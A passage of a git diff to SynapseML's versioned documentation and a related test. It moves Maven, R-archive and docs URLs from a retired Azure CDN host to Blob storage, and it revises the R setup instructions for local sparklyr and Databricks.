`https://mmlspark\\.blob\\.core\\.windows\\.net/rrr/` + + `synapseml-${component}-${escapedVersion}\\.zip`, + ), + ); + } + + const archiveUrls = markdown.match( + /https:\/\/mmlspark\.blob\.core\.windows\.net\/rrr\/[^"\s)]+\.zip/g, + ); + assert.equal(archiveUrls?.length, componentNames.length); + assert.doesNotMatch( + markdown, + /mmlspark\.blob\.core\.windows\.net\/rrr\/synapseml-[0-9.]+\.zip/, + 'combined R archives are not published', + ); + assert.match(markdown, /config\$sparklyr\.shell\.repositories/); + assert.match(markdown, /extensions = character\(\)/); + assert.doesNotMatch(markdown, /mmlspark\.azureedge\.net/); + }); +} diff --git a/website/versioned_docs/version-0.11.3/Explore Algorithms/Deep Learning/Getting Started.md b/website/versioned_docs/version-0.11.3/Explore Algorithms/Deep Learning/Getting Started.md index 26c05bd0c2c..b05f39b4fbd 100644 --- a/website/versioned_docs/version-0.11.3/Explore Algorithms/Deep Learning/Getting Started.md +++ b/website/versioned_docs/version-0.11.3/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==0.11.3 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:0.11.3 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/website/versioned_docs/version-0.11.3/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md b/website/versioned_docs/version-0.11.3/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md index e5d7a443d73..68e15a7d8b3 100644 --- a/website/versioned_docs/version-0.11.3/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md +++ b/website/versioned_docs/version-0.11.3/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md @@ -29,7 +29,7 @@ Note: the data does NOT contain information about departments, this information 1. In Cluster Libraries install from library source Maven: Coordinates: com.microsoft.azure:synapseml_2.12:0.11.3 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven 2. In Cluster Libraries install from PyPI the library called plotly diff --git a/website/versioned_docs/version-0.11.3/Get Started/Install SynapseML.md b/website/versioned_docs/version-0.11.3/Get Started/Install SynapseML.md index 4eca5bb3ede..59deca21f65 100644 --- a/website/versioned_docs/version-0.11.3/Get Started/Install SynapseML.md +++ b/website/versioned_docs/version-0.11.3/Get Started/Install SynapseML.md @@ -15,7 +15,7 @@ For Spark3.2 pool: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.3,org.apache.spark:spark-avro_2.12:3.3.1", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false", @@ -31,7 +31,7 @@ For Spark3.3 pool: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.3-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -49,7 +49,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 0.11.3-spark3.3 version for Spark3.3 and 0.11.3 version for Spark3.2 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:0.11.3") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -60,7 +60,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 0.11.3 version for Spark3.2 and 0.11.3-spark3.3 for Spark3.3 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "0.11.3" ``` @@ -91,7 +91,7 @@ in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:0.11.3` for Spark3.2 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.3-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. @@ -112,7 +112,7 @@ In Microsoft Fabric notebooks please place the following in the first cell of yo "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.3,org.apache.spark:spark-avro_2.12:3.3.1", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false", @@ -129,7 +129,7 @@ In Microsoft Fabric notebooks please place the following in the first cell of yo "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.3-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" diff --git a/website/versioned_docs/version-0.11.3/Reference/Contributor Guide.md b/website/versioned_docs/version-0.11.3/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/website/versioned_docs/version-0.11.3/Reference/Contributor Guide.md +++ b/website/versioned_docs/version-0.11.3/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/website/versioned_docs/version-0.11.3/Reference/R Setup.md b/website/versioned_docs/version-0.11.3/Reference/R Setup.md index fb30d1df389..38cc680e70f 100644 --- a/website/versioned_docs/version-0.11.3/Reference/R Setup.md +++ b/website/versioned_docs/version-0.11.3/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-0.11.3.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-0.11.3.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-0.11.3.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-0.11.3.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-0.11.3.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-0.11.3.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-0.11.3.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:0.11.3" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:0.11.3` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:0.11.3 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-0.11.3.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, labelCol="eruptions", unfit_model) +unfit_model <- ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` diff --git a/website/versioned_docs/version-0.11.4/Explore Algorithms/Deep Learning/Getting Started.md b/website/versioned_docs/version-0.11.4/Explore Algorithms/Deep Learning/Getting Started.md index bb16e7e37de..6b55194a52c 100644 --- a/website/versioned_docs/version-0.11.4/Explore Algorithms/Deep Learning/Getting Started.md +++ b/website/versioned_docs/version-0.11.4/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==0.11.4 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:0.11.4 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/website/versioned_docs/version-0.11.4/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md b/website/versioned_docs/version-0.11.4/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md index 026b7c2d2a8..cbed2ea16b7 100644 --- a/website/versioned_docs/version-0.11.4/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md +++ b/website/versioned_docs/version-0.11.4/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md @@ -29,7 +29,7 @@ Note: the data does NOT contain information about departments, this information 1. In Cluster Libraries install from library source Maven: Coordinates: com.microsoft.azure:synapseml_2.12:0.11.4 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven 2. In Cluster Libraries install from PyPI the library called plotly diff --git a/website/versioned_docs/version-0.11.4/Get Started/Install SynapseML.md b/website/versioned_docs/version-0.11.4/Get Started/Install SynapseML.md index ec85a065900..4f964d68ac7 100644 --- a/website/versioned_docs/version-0.11.4/Get Started/Install SynapseML.md +++ b/website/versioned_docs/version-0.11.4/Get Started/Install SynapseML.md @@ -15,7 +15,7 @@ For Spark3.2 pool: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4,org.apache.spark:spark-avro_2.12:3.3.1", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false", @@ -31,7 +31,7 @@ For Spark3.3 pool: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -49,7 +49,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 0.11.4-spark3.3 version for Spark3.3 and 0.11.4 version for Spark3.2 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:0.11.4") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -60,7 +60,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 0.11.4 version for Spark3.2 and 0.11.4-spark3.3 for Spark3.3 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "0.11.4" ``` @@ -91,7 +91,7 @@ in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:0.11.4` for Spark3.2 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. @@ -112,7 +112,7 @@ In Microsoft Fabric notebooks please place the following in the first cell of yo "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4,org.apache.spark:spark-avro_2.12:3.3.1", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false", @@ -129,7 +129,7 @@ In Microsoft Fabric notebooks please place the following in the first cell of yo "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" diff --git a/website/versioned_docs/version-0.11.4/Reference/Contributor Guide.md b/website/versioned_docs/version-0.11.4/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/website/versioned_docs/version-0.11.4/Reference/Contributor Guide.md +++ b/website/versioned_docs/version-0.11.4/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/website/versioned_docs/version-0.11.4/Reference/R Setup.md b/website/versioned_docs/version-0.11.4/Reference/R Setup.md index 8fefd2f6138..668ecabe632 100644 --- a/website/versioned_docs/version-0.11.4/Reference/R Setup.md +++ b/website/versioned_docs/version-0.11.4/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-0.11.4.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-0.11.4.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-0.11.4.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-0.11.4.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-0.11.4.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-0.11.4.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-0.11.4.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:0.11.4" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:0.11.4` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:0.11.4 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-0.11.4.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, labelCol="eruptions", unfit_model) +unfit_model <- ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` diff --git a/website/versioned_docs/version-1.0.1/Explore Algorithms/Deep Learning/Getting Started.md b/website/versioned_docs/version-1.0.1/Explore Algorithms/Deep Learning/Getting Started.md index b0416662ae3..8f373b7cc0d 100644 --- a/website/versioned_docs/version-1.0.1/Explore Algorithms/Deep Learning/Getting Started.md +++ b/website/versioned_docs/version-1.0.1/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==1.0.1 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:1.0.1 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/website/versioned_docs/version-1.0.1/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md b/website/versioned_docs/version-1.0.1/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md index a811b956e0d..3126c2d9646 100644 --- a/website/versioned_docs/version-1.0.1/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access 